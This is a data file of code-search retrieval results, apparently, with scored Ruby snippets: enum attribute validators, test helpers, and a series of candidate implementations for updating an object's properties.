\"storage.PurePort\", \"storage.PureProtectionGroup\", \"storage.PureProtectionGroupSnapshot\", \"storage.PureReplicationSchedule\", \"storage.PureSnapshotSchedule\", \"storage.PureVolume\", \"storage.PureVolumeSnapshot\", \"storage.SasExpander\", \"storage.SasPort\", \"storage.Span\", \"storage.StoragePolicy\", \"storage.VdMemberEp\", \"storage.VirtualDrive\", \"storage.VirtualDriveContainer\", \"storage.VirtualDriveExtension\", \"storage.VirtualDriveIdentity\", \"syslog.Policy\", \"tam.AdvisoryCount\", \"tam.AdvisoryDefinition\", \"tam.AdvisoryInfo\", \"tam.AdvisoryInstance\", \"tam.SecurityAdvisory\", \"task.HitachiScopedInventory\", \"task.HxapScopedInventory\", \"task.NetAppScopedInventory\", \"task.PublicCloudScopedInventory\", \"task.PureScopedInventory\", \"task.ServerScopedInventory\", \"techsupportmanagement.CollectionControlPolicy\", \"techsupportmanagement.Download\", \"techsupportmanagement.TechSupportBundle\", \"techsupportmanagement.TechSupportStatus\", \"terminal.AuditLog\", \"terraform.Executor\", \"thermal.Policy\", \"top.System\", \"ucsd.BackupInfo\", \"uuidpool.Block\", \"uuidpool.Pool\", \"uuidpool.PoolMember\", \"uuidpool.Universe\", \"uuidpool.UuidLease\", \"virtualization.Host\", \"virtualization.VirtualDisk\", \"virtualization.VirtualMachine\", \"virtualization.VirtualNetwork\", \"virtualization.VmwareCluster\", \"virtualization.VmwareDatacenter\", \"virtualization.VmwareDatastore\", \"virtualization.VmwareDatastoreCluster\", \"virtualization.VmwareDistributedNetwork\", \"virtualization.VmwareDistributedSwitch\", \"virtualization.VmwareFolder\", \"virtualization.VmwareHost\", \"virtualization.VmwareKernelNetwork\", \"virtualization.VmwareNetwork\", \"virtualization.VmwarePhysicalNetworkInterface\", \"virtualization.VmwareUplinkPort\", \"virtualization.VmwareVcenter\", \"virtualization.VmwareVirtualDisk\", \"virtualization.VmwareVirtualMachine\", \"virtualization.VmwareVirtualMachineSnapshot\", \"virtualization.VmwareVirtualNetworkInterface\", \"virtualization.VmwareVirtualSwitch\", \"vmedia.Policy\", \"vmrc.Console\", \"vnc.Console\", \"vnic.EthAdapterPolicy\", \"vnic.EthIf\", \"vnic.EthNetworkPolicy\", \"vnic.EthQosPolicy\", \"vnic.FcAdapterPolicy\", \"vnic.FcIf\", \"vnic.FcNetworkPolicy\", \"vnic.FcQosPolicy\", \"vnic.IscsiAdapterPolicy\", \"vnic.IscsiBootPolicy\", \"vnic.IscsiStaticTargetPolicy\", \"vnic.LanConnectivityPolicy\", \"vnic.LcpStatus\", \"vnic.SanConnectivityPolicy\", \"vnic.ScpStatus\", \"vrf.Vrf\", \"workflow.BatchApiExecutor\", \"workflow.BuildTaskMeta\", \"workflow.BuildTaskMetaOwner\", \"workflow.Catalog\", \"workflow.CustomDataTypeDefinition\", \"workflow.ErrorResponseHandler\", \"workflow.PendingDynamicWorkflowInfo\", \"workflow.RollbackWorkflow\", \"workflow.SolutionActionDefinition\", \"workflow.SolutionActionInstance\", \"workflow.SolutionDefinition\", \"workflow.SolutionInstance\", \"workflow.SolutionOutput\", \"workflow.TaskDebugLog\", \"workflow.TaskDefinition\", \"workflow.TaskInfo\", \"workflow.TaskMetadata\", \"workflow.TaskNotification\", \"workflow.TemplateEvaluation\", \"workflow.TemplateFunctionMeta\", \"workflow.WorkflowDefinition\", \"workflow.WorkflowInfo\", \"workflow.WorkflowMeta\", \"workflow.WorkflowMetadata\", \"workflow.WorkflowNotification\"])\n unless validator.valid?(class_id)\n fail ArgumentError, \"invalid value for \\\"class_id\\\", must be one of #{validator.allowable_values}.\"\n end\n @class_id = class_id\n end",
"title": ""
},
{
"docid": "ea85dd52b9b8366fadbfcb7e5d20dc81",
"score": "0.49489576",
"text": "def assert_white_list_setter(clazz, attr, value, whitelist_clazz)\n instance = clazz.new(attr => value)\n assert_kind_of whitelist_clazz, instance.send(attr)\n assert_equal value, instance.send(attr).value\n end",
"title": ""
},
{
"docid": "2f29ce80bdde4039c3e6e09e7065b758",
"score": "0.49489233",
"text": "def allow_value_matcher; end",
"title": ""
},
{
"docid": "54a6e53067c5137493d22cfc311acff1",
"score": "0.4943718",
"text": "def raise_invalid(value)\n if value.is_a?(Numeric)\n raise EnumError, \"#{value.inspect} is out of bounds of #{self.class.name}\"\n else\n raise EnumError, \"#{value.inspect} is not valid for #{self.class.name}\"\n end\n end",
"title": ""
},
{
"docid": "3f83c6bb12252459c8cab8f157ff4b40",
"score": "0.494183",
"text": "def valid_parameter_for_conditional_formatting\n [\n :type,\n :format,\n :criteria,\n :value,\n :minimum,\n :maximum,\n :min_type,\n :mid_type,\n :max_type,\n :min_value,\n :mid_value,\n :max_value,\n :min_color,\n :mid_color,\n :max_color,\n :bar_color\n ]\n end",
"title": ""
},
{
"docid": "537db0e6878268286aa25feacbc118b1",
"score": "0.494042",
"text": "def valid_parameter_for_conditional_formatting\n %i[\n type\n format\n criteria\n value\n minimum\n maximum\n stop_if_true\n min_type\n mid_type\n max_type\n min_value\n mid_value\n max_value\n min_color\n mid_color\n max_color\n bar_color\n bar_negative_color\n bar_negative_color_same\n bar_solid\n bar_border_color\n bar_negative_border_color\n bar_negative_border_color_same\n bar_no_border\n bar_direction\n bar_axis_position\n bar_axis_color\n bar_only\n icon_style\n reverse_icons\n icons_only\n icons\n data_bar_2010\n ]\n end",
"title": ""
},
{
"docid": "feba2e0ba2012033bbc14d7e55bbe5b2",
"score": "0.4935984",
"text": "def oil_types=(vals = [])\n if vals.is_a?(Array)\n OilTypes.collect {|t| t[1]}.each do |type|\n if vals.member?(type)\n send(type+\"=\",true)\n else\n send(type+\"=\",false)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "349cdb080e936568e6d7b58ab17c53fc",
"score": "0.49353147",
"text": "def validate_enum_name(name)\n name.gsub(/[-\\s]/, \"_\").sub(/^\\d/, '_\\0')\n end",
"title": ""
},
{
"docid": "a44f0cac9e04b7efdbfa6a1a6f8e6f5e",
"score": "0.4934332",
"text": "def sr_iov=(sr_iov)\n validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n unless validator.valid?(sr_iov)\n fail ArgumentError, \"invalid value for \\\"sr_iov\\\", must be one of #{validator.allowable_values}.\"\n end\n @sr_iov = sr_iov\n end",
"title": ""
},
{
"docid": "d348bda62f7d1c5da3aef3ebdc5d1d21",
"score": "0.49269903",
"text": "def appearance=(appearance)\n validator = EnumAttributeValidator.new('String', [\"Default\", \"BoundingBox\", \"Tags\", \"Hidden\"])\n if appearance.to_i == 0\n unless validator.valid?(appearance)\n raise ArgumentError, \"invalid value for 'appearance', must be one of #{validator.allowable_values}.\"\n end\n @appearance = appearance\n else\n @appearance = validator.allowable_values[appearance.to_i]\n end\n end",
"title": ""
},
{
"docid": "80f642d84aedd2cb6e23aad692aa12b6",
"score": "0.49202663",
"text": "def validate_entities!(enum)\n unless enum.respond_to?(:each)\n raise Errors::InternalError, 'Validation cannot be performed on non-enumerable objects'\n end\n enum.each(&:valid!)\n enum\n rescue ::Occi::Core::Errors::MandatoryArgumentError, ::Occi::Core::Errors::ValidationError => ex\n logger.error \"Validation failed: #{ex.class} #{ex.message}\"\n raise Errors::ValidationError, ex.message\n end",
"title": ""
},
{
"docid": "9d97b70affd13483396e64e3169601de",
"score": "0.49195725",
"text": "def attr_bool_writer *symbols\n attr_writer *symbols\n end",
"title": ""
},
{
"docid": "83bb196aae84618223a833a2f4414f54",
"score": "0.49171844",
"text": "def valid?\n frequency_validator = EnumAttributeValidator.new('String', [\"daily\", \"weekly\", \"monthly\", \"quarterly\", \"yearly\"])\n return false unless frequency_validator.valid?(@frequency)\n return true\n end",
"title": ""
},
{
"docid": "289cec42e6e5444bf080c96454e04e2c",
"score": "0.49135497",
"text": "def valid_attributes\n {\n name: \"Unlimited\",\n award_title_name: \"10k Unlimited\",\n scoring_class: \"Freestyle\"\n }\n end",
"title": ""
},
{
"docid": "9bac31f737fd3a5c6f8fd0d665119684",
"score": "0.49132174",
"text": "def should_allow_values(options)\n klass = self.name.gsub(/Test$/, '').constantize\n\n context \"#{klass}\" do\n options.each_pair do |attribute, values|\n [*values].each do |value|\n display_value = value.class == NilClass ? \"nil\" : \"\\\"#{value}\\\"\"\n \n should \"allow #{attribute} to be #{display_value}\" do\n instance = get_instance_of(klass)\n instance.send(\"#{attribute}=\", value)\n assert_nil instance.errors.on(attribute), \n \"Expected no errors when #{attribute} is set to #{display_value}, \n instead found error \\\"#{instance.errors.on(attribute)}\\\".\"\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "73b095cb85d0ab2e93546a1b1f0f70cd",
"score": "0.4910008",
"text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"offsetInDays\", @offset_in_days)\n writer.write_enum_value(\"timeBasedAttribute\", @time_based_attribute)\n end",
"title": ""
},
{
"docid": "ed60861731f7b9c328b984f99b6deb78",
"score": "0.49098906",
"text": "def gr_append_check? obj\n return false if obj.class!=self.class\n return false if !respond_to(\"each\")\n myEnum=to_enum\n objEnum=obj.to_enum\n while true\n begin\n myEle=myEnum.next\n rescue\n return true\n end\n begin\n objEle=objEnum.next\n rescue\n return false\n end\n return false if myEle!=objEle\n end\n return true\n end",
"title": ""
},
{
"docid": "7b1d15949960dcdeaf4849ddcf1a0813",
"score": "0.49096495",
"text": "def validate( value )\n raise ReadOnlyException.new(self) unless settable?\n @definition.type.validate(value)\n end",
"title": ""
},
{
"docid": "1b075bdb9fe5094da68383aeaef930e8",
"score": "0.49090025",
"text": "def valid?\n only_display_validator = EnumAttributeValidator.new('String', [\"DoNotDisplay\", \"Closed30Days\", \"Closed60Days\", \"Closed90Days\", \"Closed120Days\", \"AllClosed\"])\n return false unless only_display_validator.valid?(@only_display)\n return true\n end",
"title": ""
},
{
"docid": "5deb2669b8e93acd0cc40a766dd6d010",
"score": "0.49080157",
"text": "def patrol_scrub=(patrol_scrub)\n validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"Enable at End of POST\", \"enabled\"])\n unless validator.valid?(patrol_scrub)\n fail ArgumentError, \"invalid value for \\\"patrol_scrub\\\", must be one of #{validator.allowable_values}.\"\n end\n @patrol_scrub = patrol_scrub\n end",
"title": ""
},
{
"docid": "8353bceba43a8998eaa26e35462c05d7",
"score": "0.49024847",
"text": "def _class=(_class)\n validator = EnumAttributeValidator.new('String', [\"Other\", \"Absolute\", \"Possessory\", \"Qualified\", \"Good\"])\n unless validator.valid?(_class)\n fail ArgumentError, \"invalid value for '_class', must be one of #{validator.allowable_values}.\"\n end\n @_class = _class\n end",
"title": ""
},
{
"docid": "55fd3d1aaa61add7608c52634c60c28a",
"score": "0.49014568",
"text": "def valid?\n return false if !super\n quartile_method_validator = EnumAttributeValidator.new('String', ['Exclusive', 'Inclusive'])\n return false unless quartile_method_validator.valid?(@quartile_method)\n true\n end",
"title": ""
}
] |
af630984682f1a0b5a68e6092af0d102 | Update properties of this object | [
{
"docid": "4f6b13efc20c7a29450e1fe0009f698c",
"score": "0.0",
"text": "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @failure_count = args[:failure_count] if args.key?(:failure_count)\n @success_count = args[:success_count] if args.key?(:success_count)\n @update_time = args[:update_time] if args.key?(:update_time)\n end",
"title": ""
}
] | [
{
"docid": "150fa2bdc1fc43d28ac45e2278a1f797",
"score": "0.7012263",
"text": "def update_properties(hash)\n hash.each do |key, value|\n setter_method = \"#{key}=\"\n if self.respond_to?(setter_method)\n self.send(setter_method, value)\n end\n end\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "37ae8a386fde14c02d7021605aa72f45",
"score": "0.67403597",
"text": "def refresh\n self.class.base_properties.each_with_index do |prop, prop_id|\n @properties[prop] = get_property(prop_id)\n end\n refresh_features\n refresh_status\n refresh_config\n self\n end",
"title": ""
},
{
"docid": "10e41ec39ba2af73495ccece21c2d8a3",
"score": "0.6709326",
"text": "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end",
"title": ""
},
{
"docid": "10e41ec39ba2af73495ccece21c2d8a3",
"score": "0.6709326",
"text": "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "47bbd8b88b35da987fc3775b82211e56",
"score": "0.6618882",
"text": "def update_properties!(branch_id=nil)\n properties = fetch_properties(false, branch_id)\n length = properties.length\n counter = 0\n properties.each do |property|\n counter += 1\n if Vebra.debugging?\n puts \"[Vebra]: #{counter}/#{length}: live updating property with Vebra ref: #{property.attributes[:vebra_ref]}\"\n end\n live_update!(property)\n Vebra.set_last_updated_at(Time.now) if counter == length\n end\n end",
"title": ""
},
{
"docid": "769b77b7f7f9f82ae847f5968eb201dc",
"score": "0.6571848",
"text": "def update_self obj\n obj.each do |k,v|\n instance_variable_set(\"@#{k}\", v) if v\n end\n end",
"title": ""
},
{
"docid": "c3b6fccdeb696de5e9dbc38a9486b742",
"score": "0.65386343",
"text": "def update_attributes(properties_hash)\n self.class.get_class_properties.each do |property|\n key = property[:name].to_sym\n if properties_hash.has_key? key\n self.setValue(properties_hash[key], forKey:key)\n end\n end\n end",
"title": ""
},
{
"docid": "bb403006cc5423d9b1820fe684a7c5a5",
"score": "0.65178275",
"text": "def update\n # TODO: implement update\n end",
"title": ""
},
{
"docid": "1ee90e4f66e82aec13076a98b288a2d1",
"score": "0.6394807",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @states = args[:states] if args.key?(:states)\n end",
"title": ""
},
{
"docid": "23eb6f5fbeae4bf9f56ac93a4126b4b5",
"score": "0.6389745",
"text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end",
"title": ""
},
{
"docid": "23eb6f5fbeae4bf9f56ac93a4126b4b5",
"score": "0.6389745",
"text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end",
"title": ""
},
{
"docid": "3f85752da065340d4ca70ce879a3b23d",
"score": "0.63328",
"text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @total_value_count = args[:total_value_count] if args.key?(:total_value_count)\n @value = args[:value] if args.key?(:value)\n @value_status = args[:value_status] if args.key?(:value_status)\n end",
"title": ""
},
{
"docid": "da63345424fc9aecef032928485bd149",
"score": "0.6319025",
"text": "def update\n \n end",
"title": ""
},
{
"docid": "5a8e82caac01cee661bc875a5b0cf723",
"score": "0.6283673",
"text": "def refresh\n set_attributes\n end",
"title": ""
},
{
"docid": "60d8c4f58de490a0d7cdd918c16a2cce",
"score": "0.6269463",
"text": "def update(attrs)\n @attrs.update(attrs)\n self\n end",
"title": ""
},
{
"docid": "7a41bc9d5a07220fb8626d1fa90d2d79",
"score": "0.62639254",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @source = args[:source] if args.key?(:source)\n end",
"title": ""
},
{
"docid": "29c22ae2290ffca9b9682a5f20f48103",
"score": "0.62410724",
"text": "def update_resource object, attributes\n object.update attributes\n end",
"title": ""
},
{
"docid": "91dc386ff8fa066852510a5d62b13078",
"score": "0.62170374",
"text": "def update(attrs)\n @attrs ||= {}\n @attrs.update(attrs)\n self\n end",
"title": ""
},
{
"docid": "6249943d1eeff63f8f611fcf73254058",
"score": "0.62152076",
"text": "def update\n \n end",
"title": ""
},
{
"docid": "1c12f310aca206a2cefff8c291007668",
"score": "0.6210263",
"text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @schema = args[:schema] if args.key?(:schema)\n end",
"title": ""
},
{
"docid": "1c0316f22c6db917fa4719767b5326a9",
"score": "0.6204041",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end",
"title": ""
},
{
"docid": "1c0316f22c6db917fa4719767b5326a9",
"score": "0.6204041",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end",
"title": ""
},
{
"docid": "85a79fb5c3cc199e689344861658b09b",
"score": "0.62021106",
"text": "def _update!\n self.class.properties.each do |property, predicate|\n if dirty?(property)\n self.class.repository_or_fail.delete([subject, predicate[:predicate], nil])\n if self.class.is_list?(property)\n repo = RDF::Repository.new\n attribute_get(property).each do |value|\n repo << RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(value, self.class.properties[property][:type]))\n end\n self.class.repository_or_fail.insert(*repo)\n else\n self.class.repository_or_fail.insert(RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(attribute_get(property), self.class.properties[property][:type])))\n end\n end\n @dirty[property] = nil\n @attributes[:original][property] = attribute_get(property)\n end\n self.class.repository_or_fail.insert(RDF::Statement.new(@subject, RDF.type, type)) unless type.nil?\n end",
"title": ""
},
{
"docid": "5d229ea224b1dfa7ac9ce6808ca63fc4",
"score": "0.62017816",
"text": "def update(attributes = {})\n super(attributes)\n retrieve!\n self\n end",
"title": ""
},
{
"docid": "549a7eef6c18558dea47a8e8d72df295",
"score": "0.62017",
"text": "def update\n @objects.map(&:update);\n end",
"title": ""
},
{
"docid": "e1f766468b11768b786daa133483b157",
"score": "0.61730784",
"text": "def update\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "e1f766468b11768b786daa133483b157",
"score": "0.61730784",
"text": "def update\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "b76d372399abbb21b748df3ae7b06470",
"score": "0.6159277",
"text": "def live_update!(property)\n property_class = Vebra.models[:property][:class].to_s.camelize.constantize\n\n # ensure we have the full property attributes\n property.get_property if !property.attributes[:status] && property.attributes[:action] != 'deleted'\n\n # find & update or build a new property\n property_model = property_class.find_or_initialize_by_vebra_ref(property.attributes[:vebra_ref])\n\n # make sure property object is not empty\n return false if !property.attributes || !property.attributes[:property_type]\n\n # if the property has been deleted, mark it appropriately and move on\n if property.attributes[:action] == 'deleted'\n return property_model.destroy\n end\n\n # extract accessible attributes for the property\n property_accessibles = property_class.accessible_attributes.map(&:to_sym)\n property_attributes = property.attributes.inject({}) do |result, (key, value)|\n result[key] = value if property_accessibles.include?(key)\n result\n end\n\n # update the property model's attributes\n property_model.no_callbacks = true if property_model.respond_to?(:no_callbacks)\n property_model.update_attributes(property_attributes)\n\n # find & update or build a new address\n if Vebra.models[:address]\n address_class = Vebra.models[:address][:class].to_s.camelize.constantize\n address_model = property_model.send(Vebra.models[:property][:address_method])\n address_model = property_model.send(\"build_#{Vebra.models[:property][:address_method]}\") unless address_model\n\n # extract accessible attributes for the address\n address_accessibles = address_class.accessible_attributes.map(&:to_sym)\n address_attributes = property.attributes[:address].inject({}) do |result, (key, value)|\n result[key] = value if address_accessibles.include?(key)\n result\n end\n\n # update the address model's attributes\n address_model.update_attributes(address_attributes)\n end\n\n # find & update or build new rooms\n if Vebra.models[:room]\n room_class = Vebra.models[:room][:class].to_s.camelize.constantize\n\n # accessible attributes for the rooms\n room_accessibles = room_class.accessible_attributes.map(&:to_sym)\n\n # delete any rooms which are no longer present\n property_rooms = property.attributes[:rooms] || []\n property_model_rooms = property_model.send(Vebra.models[:property][:rooms_method])\n refs_to_delete = property_model_rooms.map(&:vebra_ref) - property_rooms.map { |r| r[:vebra_ref] }\n property_model_rooms.each do |room|\n room.destroy if refs_to_delete.include?(room.vebra_ref)\n end\n\n # find & update or build new rooms\n property_rooms.each do |room|\n room_model = room_class.find_by_property_id_and_vebra_ref(property_model.id, room[:vebra_ref])\n room_model = property_model_rooms.build unless room_model\n\n # extract accessible attributes for the room\n room_attributes = room.inject({}) do |result, (key, value)|\n result[key] = value if room_accessibles.include?(key)\n result\n end\n\n # update the room model's attributes\n room_model.update_attributes(room_attributes)\n end\n end\n\n # find & update or build new file attachments\n if Vebra.models[:file]\n file_class = Vebra.models[:file][:class].to_s.camelize.constantize\n\n # accessible attributes for the files\n file_accessibles = file_class.accessible_attributes.map(&:to_sym)\n\n # first normalize the collection (currently nested collections)\n property_files = property.attributes[:files].inject([]) do |result, (kind, collection)|\n collection.each do |file|\n file[:type] = kind.to_s.singularize.camelize if file_accessibles.include?(:type)\n file[\"remote_#{Vebra.models[:file][:attachment_method]}_url\".to_sym] = file.delete(:url)\n # if file[:type] is set, it means the attachment file class can be subclassed. In this\n # case we need to ensure that the subclass exists. If not, we ignore this file\n begin\n file[:type].constantize if file_accessibles.include?(:type)\n result << file\n rescue NameError => e\n # ignore - this means the subclass does not exist\n puts \"[Vebra]: #{e.message}\" if Vebra.debugging?\n end\n end\n\n result\n end\n\n # delete any files which are no longer present\n property_model_files = property_model.send(Vebra.models[:property][:files_method])\n refs_to_delete = property_model_files.map(&:vebra_ref) - property_files.map { |f| f[:vebra_ref] }\n property_model_files.each do |file|\n file.destroy if refs_to_delete.include?(file.vebra_ref)\n end\n\n # find & update or build new files\n property_files.each do |file|\n begin\n file_model = property_model_files.find_by_vebra_ref(file[:vebra_ref])\n file_model = property_model_files.build unless file_model\n\n # extract accessible attributes for the file\n file_attributes = file.inject({}) do |result, (key, value)|\n result[key] = value if file_accessibles.include?(key)\n result\n end\n\n # update the room model's attributes\n file_model.update_attributes(file_attributes)\n rescue CarrierWave::ProcessingError, OpenURI::HTTPError => e\n # just ignore the file\n puts \"[Vebra]: #{e.message}\" if Vebra.debugging?\n end\n end\n end\n\n property_model.no_callbacks = false if property_model.respond_to?(:no_callbacks)\n property_model.save\n return property_model\n end",
"title": ""
},
{
"docid": "01219537b43bd1cf8341e0f00e27d4c8",
"score": "0.6156169",
"text": "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @property_value = args[:property_value] if args.key?(:property_value)\n end",
"title": ""
},
{
"docid": "147d62c4df79ff1ca86cbd477112bf7f",
"score": "0.61445665",
"text": "def update\n end",
"title": ""
},
{
"docid": "f3dea89f306804c3f2aa813c06584d06",
"score": "0.6125433",
"text": "def update!(**args)\n @mid = args[:mid] if args.key?(:mid)\n @property_value = args[:property_value] if args.key?(:property_value)\n end",
"title": ""
},
{
"docid": "44756fd86dd095556580199f7e78936f",
"score": "0.61241156",
"text": "def modified_properties=(value)\n @modified_properties = value\n end",
"title": ""
},
{
"docid": "593de84fa9950baa68153e4fa9b6e17c",
"score": "0.6121413",
"text": "def apply_properties!(properties)\n # Non-commutitivity etc. eventually.\n end",
"title": ""
},
{
"docid": "ea25adea5b43c27e6c84f27ad88c3d9f",
"score": "0.6110477",
"text": "def set_properties(hash)\n hash.each do |key, value|\n add_or_remove_ostruct_member(key, value)\n end\n rest_reset_properties\n end",
"title": ""
},
{
"docid": "147138a710a0ff53e9288ae66341894f",
"score": "0.6105694",
"text": "def update\n\t\t\n\t\tend",
"title": ""
},
{
"docid": "7b1d2242b1a6bd8d3cad29be97783a80",
"score": "0.61016303",
"text": "def set_props(props)\n @props.merge!(props)\n end",
"title": ""
},
{
"docid": "cb2162d3a1fd3434effd12aa702f250f",
"score": "0.60845226",
"text": "def update() end",
"title": ""
},
{
"docid": "231370ed2400d22825eba2b5b69e7a67",
"score": "0.6084427",
"text": "def update!(**args)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end",
"title": ""
},
{
"docid": "86ff97cc222b987bff78c1152a1c8ee1",
"score": "0.6065455",
"text": "def assign_properties\n self.properties ||= {}\n listing_properties.each do |prop|\n self.properties[prop.key] ||= prop.value\n end\n end",
"title": ""
},
{
"docid": "0f6ea4c54f9bc18020c08410f67289cd",
"score": "0.6059506",
"text": "def change_properties(new_current_floor, new_next_floor, new_movement)\n @current_floor = new_current_floor\n @next_floor = new_next_floor\n @movement = new_movement\n end",
"title": ""
},
{
"docid": "453da6bb915596261c5b82f2d17cabf8",
"score": "0.6054869",
"text": "def update!(**args)\n @property_value = args[:property_value] if args.key?(:property_value)\n end",
"title": ""
},
{
"docid": "52a81d6eb0fed16fe2a23be3d9ebc264",
"score": "0.6051708",
"text": "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end",
"title": ""
},
{
"docid": "52a81d6eb0fed16fe2a23be3d9ebc264",
"score": "0.6051708",
"text": "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end",
"title": ""
},
{
"docid": "874639781ed80ae451fbdd6ebbef2218",
"score": "0.60413384",
"text": "def update(attributes)\n (@attributes ||= {}).merge! attributes\n\n (self.class.attr_initializables & attributes.keys).each do |name|\n instance_variable_set :\"@#{name}\", attributes[name]\n end\n\n self\n end",
"title": ""
},
{
"docid": "d175f5bedd91a8daf191cad42b04dc0c",
"score": "0.6030853",
"text": "def update_attributes(attrs)\n super({})\n end",
"title": ""
},
{
"docid": "b8d1a7cd8f443ee5f30b5085aadff479",
"score": "0.6022535",
"text": "def update\n @dirty = true\n end",
"title": ""
},
{
"docid": "d7d62f9c97f629ef8c88e56d3d1ce8ee",
"score": "0.6015561",
"text": "def update\n\n # Run through the mixin updates\n colourable_update\n movable_update\n\n end",
"title": ""
},
{
"docid": "71750bae7e3d6bdde2b60ec30e70949a",
"score": "0.59932375",
"text": "def set(props)\n props.each do |prop, val|\n self.send(:\"#{ prop }=\", val)\n end\n end",
"title": ""
},
{
"docid": "73fe9bc31bfeeab4d84483e2fa65cbbb",
"score": "0.59898263",
"text": "def update\n super\n end",
"title": ""
},
{
"docid": "a98ac99e6e5115383e9148202286ff9e",
"score": "0.5976479",
"text": "def update!(**args)\n @property_id = args[:property_id] if args.key?(:property_id)\n @value_status = args[:value_status] if args.key?(:value_status)\n end",
"title": ""
},
{
"docid": "fb14f35e7fab31199053a7b87ef451a4",
"score": "0.5973787",
"text": "def update!(**args)\n @object_size_bytes = args[:object_size_bytes] if args.key?(:object_size_bytes)\n @object_version = args[:object_version] if args.key?(:object_version)\n end",
"title": ""
},
{
"docid": "6441b3fa93c3dfd974c66a975adb9d9c",
"score": "0.59678394",
"text": "def movable_update\n\n # Work through the different aspects we update\n movable_location_update\n movable_size_update\n movable_angle_update\n\n end",
"title": ""
},
{
"docid": "51a59f953548d1eff10532bdffdd8df9",
"score": "0.5963291",
"text": "def properties=(value)\n @properties = value\n end",
"title": ""
},
{
"docid": "e7a3d5504fcc6e382b06845ede0d5fd8",
"score": "0.5962048",
"text": "def update(attrs)\n attrs.each_pair do |key, value|\n send(\"#{key}=\", value) if respond_to?(\"#{key}=\")\n # attributes[key] = value <- lets make use of virtual attributes too\n end\n end",
"title": ""
},
{
"docid": "c7a2880c3da02b3708afc43c48d37f2e",
"score": "0.5961157",
"text": "def update(context={})\n self.pre_cast_attributes\n m2o = @relations.reject{|k, v| !self.class.many2one_relations.has_key?(k)}\n vals = @attributes.reject {|key, value| key == 'id'}.merge(m2o.merge(m2o){|k, v| v.is_a?(Array) ? v[0] : v})\n self.class.rpc_execute('write', self.id, vals, context)\n reload_from_record!(self.class.find(self.id, :context => context))\n end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "5ca2caa1a207739e77f437de35e41cf1",
"score": "0.59500545",
"text": "def update ; end",
"title": ""
},
{
"docid": "a20f534093aba7e3633ca0ac07a56d53",
"score": "0.59443134",
"text": "def update!(**args)\n @freshness_duration = args[:freshness_duration] if args.key?(:freshness_duration)\n @freshness_property = args[:freshness_property] if args.key?(:freshness_property)\n end",
"title": ""
